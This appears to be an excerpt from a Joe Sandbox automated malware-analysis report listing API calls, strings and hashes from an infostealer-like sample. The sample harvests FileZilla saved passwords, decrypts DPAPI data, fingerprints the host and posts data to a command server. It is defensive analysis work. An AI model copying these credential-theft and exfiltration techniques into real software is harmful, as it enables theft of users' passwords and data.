Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 5e216e6e3690d563b88789cf860a919b668f99220b068699c5429fe6932601c3
Instruction ID: 0723e218a0656924d6371786da29fcc92b636a25a218e415cd2f4c8a7f452aa8
Opcode Fuzzy Hash: 5e216e6e3690d563b88789cf860a919b668f99220b068699c5429fe6932601c3
Instruction Fuzzy Hash: E6F0E971A00214EBC7149BB8ED4AFAFB7AAAB04325F100266F506D72D0DB749E448BC5

Function 00408093 Relevance: 4.5, APIs: 3, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004080B6
LocalAlloc.KERNEL32(00000040,?), ref: 004080CA
LocalFree.KERNEL32(?), ref: 004080EF

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 3d7e84f66a7bf9553ed0f45ad8b18cd80828db80b13b42ae34e68937ff8f3eb3
Instruction ID: 10e02d636919375d3bacc8cc8054424fab9a94f25b9fd73abf51db511e730653
Opcode Fuzzy Hash: 3d7e84f66a7bf9553ed0f45ad8b18cd80828db80b13b42ae34e68937ff8f3eb3
Instruction Fuzzy Hash: EF01E8B6A01218EFCB00DFA8D98489EBBB9FB48710F11806AE906E7340D7719E41CB90

Function 00410B0B Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00410B17
RtlAllocateHeap.NTDLL(00000000), ref: 00410B1E
GetUserNameA.ADVAPI32(00000000,?), ref: 00410B32

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 5d98c6efd428a66303c60f704e9dcf5e16b54a108417a8786dfd06009575a7ce
Instruction ID: b4f5ef3bdd4eebf41d57b98c2c50f2484697799f4516be99d7a4ed237a7ce237
Opcode Fuzzy Hash: 5d98c6efd428a66303c60f704e9dcf5e16b54a108417a8786dfd06009575a7ce
Instruction Fuzzy Hash: CAD05EB6300204BBD7109BD5DC0DE8A7BFCEB85765F800075FA06D2291DAF0994D8638

Function 00410E72 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00410E8C
wsprintfA.USER32 ref: 00410EA4

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: f446b99e1089f107ef3cf2ae427d1d2b16c08bcdf757ae6bb938efde754cd252
Instruction ID: 617e93c53b073c3184fcb28e8f66b394bd67a03002b1d2301130fd348b7bcb14
Opcode Fuzzy Hash: f446b99e1089f107ef3cf2ae427d1d2b16c08bcdf757ae6bb938efde754cd252
Instruction Fuzzy Hash: 69E01271D5010CDBCB11DFA4ED96ADDB7FCAB08204F5055B6A505E3190DA74AB888F84

Function 0040149D Relevance: 1.3, APIs: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?), ref: 004014CF

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: f647b1bbe122524e67637ee0bacdea142af8fad70a13d95ca6e3d8b9d3a94acd
Instruction ID: 30d7bb444e267fea16516c155e84995933b439d0a4a486301ae9152ede4542ee
Opcode Fuzzy Hash: f647b1bbe122524e67637ee0bacdea142af8fad70a13d95ca6e3d8b9d3a94acd
Instruction Fuzzy Hash: BBF08C36A00110EBCF20CF59D904AAAFBF8EB43764F256065E809B3660C334ED11EA9C

Function 0040E587 Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 289
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 00411C74: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411CB5

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 004103D1: lstrcpy.KERNEL32(00000000,?), ref: 004103F0

Part of subcall function 00407F9E: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00407FB9
Part of subcall function 00407F9E: GetFileSizeEx.KERNEL32(00000000,?), ref: 00407FD0
Part of subcall function 00407F9E: LocalAlloc.KERNEL32(00000040,?), ref: 00407FE7
Part of subcall function 00407F9E: ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 00407FFE
Part of subcall function 00407F9E: CloseHandle.KERNEL32(?), ref: 00408026

Part of subcall function 00411CD7: LocalAlloc.KERNEL32(00000040,?,?,?,?,004081CC,?), ref: 00411CEF

strtok_s.MSVCRT ref: 0040E636
GetProcessHeap.KERNEL32(00000000,000F423F,0043593F,0043593E,00435923,0043591F), ref: 0040E67C
RtlAllocateHeap.NTDLL(00000000), ref: 0040E683
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040E697
lstrlen.KERNEL32(00000000), ref: 0040E6A2
StrStrA.SHLWAPI(00000000,<Port>), ref: 0040E6D6
lstrlen.KERNEL32(00000000), ref: 0040E6E1
StrStrA.SHLWAPI(00000000,<User>), ref: 0040E70F
lstrlen.KERNEL32(00000000), ref: 0040E71A
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040E748
lstrlen.KERNEL32(00000000), ref: 0040E753
lstrlen.KERNEL32(?), ref: 0040E7B9
lstrlen.KERNEL32(?), ref: 0040E7CD
lstrlen.KERNEL32(?), ref: 0040E8F5

Strings

<Port>, xrefs: 0040E6D0
passwords.txt, xrefs: 0040E905
<Pass encoding="base64">, xrefs: 0040E742
Host: , xrefs: 0040E80C
<Host>, xrefs: 0040E691
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040E5D7
<User>, xrefs: 0040E709
Login: , xrefs: 0040E844
Password: , xrefs: 0040E866
Soft: FileZilla, xrefs: 0040E800

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$File$AllocHeapLocallstrcat$AllocateCloseCreateFolderHandlePathProcessReadSizestrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 2939946095-935134978
Opcode ID: 7ff4b7f3baa00359f62f3615e78580f42ece616b765be0eed27695d61d390793
Instruction ID: a31b76a014d6d5e562abc5c9a9d4f9b5aa28e82ac2456f9c87beb9b7fa9cf0c5
Opcode Fuzzy Hash: 7ff4b7f3baa00359f62f3615e78580f42ece616b765be0eed27695d61d390793
Instruction Fuzzy Hash: 37A15372E40119ABCF00FBB2DD4AACD7775AF04344F115436F601B70A2DBB9AA958B9C

Function 00406BA7 Relevance: 60.1, APIs: 18, Strings: 16, Instructions: 598
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004103D1: lstrcpy.KERNEL32(00000000,?), ref: 004103F0

Part of subcall function 00404AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AD9
Part of subcall function 00404AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404ADF
Part of subcall function 00404AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE5
Part of subcall function 00404AA7: lstrlen.KERNEL32(000000FF,00000000,?), ref: 00404AF7
Part of subcall function 00404AA7: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404AFF

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406C46
StrCmpCA.SHLWAPI(?), ref: 00406C64
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406DFC
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00406E40
lstrlen.KERNEL32(?,",status,0043693C,------,00436930,",task_id,0043691C,------,00436910,",mode,004368FC,------,004368F0), ref: 0040752E
lstrlen.KERNEL32(?), ref: 0040753D
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407548
RtlAllocateHeap.NTDLL(00000000), ref: 0040754F
lstrlen.KERNEL32(?), ref: 0040755C
lstrlen.KERNEL32(?), ref: 00407578
lstrlen.KERNEL32(?,?,00000000), ref: 00407586
lstrlen.KERNEL32(?,?,00000000), ref: 004075A8
HttpSendRequestA.WININET(00000000,?,00000000), ref: 004075B6
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00407613
InternetCloseHandle.WININET(00000000), ref: 0040761E
InternetCloseHandle.WININET(?), ref: 0040762A
InternetCloseHandle.WININET(?), ref: 00407636
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406E6E

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Strings

task_id, xrefs: 00407343
", xrefs: 00406F53
", xrefs: 0040736F
------, xrefs: 00406FD5
------, xrefs: 00407137
------, xrefs: 00406CEE
mode, xrefs: 004071E3
", xrefs: 004074CF
4b4d1b9e209e656d32d6b94f658903b1, xrefs: 004070DF
status, xrefs: 004074A3
", xrefs: 004070B3
------, xrefs: 00407291
------, xrefs: 004073F1
------, xrefs: 00406E74
build_id, xrefs: 00407087
", xrefs: 0040720F

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileOptionProcessReadSend
String ID: "$"$"$"$"$------$------$------$------$------$------$4b4d1b9e209e656d32d6b94f658903b1$build_id$mode$status$task_id
API String ID: 1146310990-2023136116
Opcode ID: 4766a3c48b7d3c1c0e10c37919fbd07810138f14646b767ea2d86cdfaf4df308
Instruction ID: ea8ef3ed069d2ecdc61ba0ef5e235aeb550c3c35f797255cef2ff3bc5b83390f
Opcode Fuzzy Hash: 4766a3c48b7d3c1c0e10c37919fbd07810138f14646b767ea2d86cdfaf4df308
Instruction Fuzzy Hash: 6E527A719001699ACF60EB61CD46BCCB374AF04308F5185E7A60D73162DAB97FDA8F98

Function 004136EA Relevance: 49.7, APIs: 2, Strings: 26, Instructions: 674
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

Part of subcall function 00410B78: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00410B90
Part of subcall function 00410B78: RtlAllocateHeap.NTDLL(00000000), ref: 00410B97
Part of subcall function 00410B78: GetLocalTime.KERNEL32(?), ref: 00410BA3
Part of subcall function 00410B78: wsprintfA.USER32 ref: 00410BCE

Part of subcall function 0041148C: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?), ref: 004114DE
Part of subcall function 0041148C: RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,?), ref: 00411503
Part of subcall function 0041148C: CharToOemA.USER32(?,?), ref: 00411523

Part of subcall function 0041153C: GetCurrentHwProfileA.ADVAPI32(?), ref: 00411557
Part of subcall function 0041153C: lstrcat.KERNEL32(?,00000000), ref: 004115AE
Part of subcall function 0041153C: lstrcat.KERNEL32(?,00435E9C), ref: 004115CB

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 0041085A: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0041088D
Part of subcall function 0041085A: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 004108CD
Part of subcall function 0041085A: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00410922
Part of subcall function 0041085A: RtlAllocateHeap.NTDLL(00000000), ref: 00410929

GetCurrentProcessId.KERNEL32(Path: ,0043584C,HWID: ,00435840,GUID: ,00435834,00000000,MachineID: ,00435824,00000000,Date: ,00435818,00435814,10.9,Version: ,004355AF), ref: 0041393F

Part of subcall function 00412104: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00412126
Part of subcall function 00412104: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412141
Part of subcall function 00412104: CloseHandle.KERNEL32(00000000), ref: 00412148

Part of subcall function 004109E8: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004109FC
Part of subcall function 004109E8: RtlAllocateHeap.NTDLL(00000000), ref: 00410A03

Part of subcall function 004116BF: CoInitializeEx.COMBASE(00000000,00000000), ref: 004116D7
Part of subcall function 004116BF: CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004116E8
Part of subcall function 004116BF: CoCreateInstance.COMBASE(00431F00,00000000,00000001,00431E30,?), ref: 00411702
Part of subcall function 004116BF: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411738
Part of subcall function 004116BF: VariantInit.OLEAUT32(?), ref: 00411793

Part of subcall function 00410B3D: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00410B49
Part of subcall function 00410B3D: RtlAllocateHeap.NTDLL(00000000), ref: 00410B50
Part of subcall function 00410B3D: GetComputerNameA.KERNEL32(00000000,?), ref: 00410B64

Part of subcall function 00410B0B: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00410B17
Part of subcall function 00410B0B: RtlAllocateHeap.NTDLL(00000000), ref: 00410B1E
Part of subcall function 00410B0B: GetUserNameA.ADVAPI32(00000000,?), ref: 00410B32

Part of subcall function 0041141B: CreateDCA.GDI32(00000000,00000000,00000000), ref: 0041142D
Part of subcall function 0041141B: GetDeviceCaps.GDI32(00000000,00000008), ref: 00411438
Part of subcall function 0041141B: GetDeviceCaps.GDI32(00000000,0000000A), ref: 00411443
Part of subcall function 0041141B: ReleaseDC.USER32(00000000,00000000), ref: 0041144E
Part of subcall function 0041141B: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0041145A
Part of subcall function 0041141B: RtlAllocateHeap.NTDLL(00000000), ref: 00411461
Part of subcall function 0041141B: wsprintfA.USER32 ref: 00411473

Part of subcall function 00410C93: GetKeyboardLayoutList.USER32(00000000,00000000,004357A3), ref: 00410CC4
Part of subcall function 00410C93: LocalAlloc.KERNEL32(00000040,00000000), ref: 00410CD2
Part of subcall function 00410C93: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410CE0
Part of subcall function 00410C93: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00410D0F
Part of subcall function 00410C93: LocalFree.KERNEL32(00000000), ref: 00410DB7

Part of subcall function 00410BE6: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00410C01
Part of subcall function 00410BE6: RtlAllocateHeap.NTDLL(00000000), ref: 00410C08
Part of subcall function 00410BE6: GetTimeZoneInformation.KERNEL32(?), ref: 00410C17
Part of subcall function 00410BE6: wsprintfA.USER32 ref: 00410C35

Part of subcall function 00410E09: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00410E1D
Part of subcall function 00410E09: RtlAllocateHeap.NTDLL(00000000), ref: 00410E24
Part of subcall function 00410E09: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,?), ref: 00410E42
Part of subcall function 00410E09: RegQueryValueExA.KERNEL32(?,00000000,00000000,00000000,000000FF), ref: 00410E5E

Part of subcall function 00410EBF: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 00410F35
Part of subcall function 00410EBF: wsprintfA.USER32 ref: 00410F93

Part of subcall function 00410E72: GetSystemInfo.KERNEL32(?), ref: 00410E8C
Part of subcall function 00410E72: wsprintfA.USER32 ref: 00410EA4

Part of subcall function 00410FD1: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00410FE9
Part of subcall function 00410FD1: RtlAllocateHeap.NTDLL(00000000), ref: 00410FF0
Part of subcall function 00410FD1: GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 0041100C
Part of subcall function 00410FD1: wsprintfA.USER32 ref: 00411032

Part of subcall function 0041104A: EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 004110A1

Part of subcall function 0041135D: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004357AA), ref: 0041138C
Part of subcall function 0041135D: Process32First.KERNEL32(00000000,00000128), ref: 0041139C
Part of subcall function 0041135D: Process32Next.KERNEL32(00000000,00000128), ref: 004113FA
Part of subcall function 0041135D: CloseHandle.KERNEL32(00000000), ref: 00411405

Part of subcall function 004110BB: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,004357A7), ref: 0041112B
Part of subcall function 004110BB: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 00411168
Part of subcall function 004110BB: wsprintfA.USER32 ref: 00411195
Part of subcall function 004110BB: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004111B4
Part of subcall function 004110BB: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 004111EA
Part of subcall function 004110BB: lstrlen.KERNEL32(?), ref: 004111FF

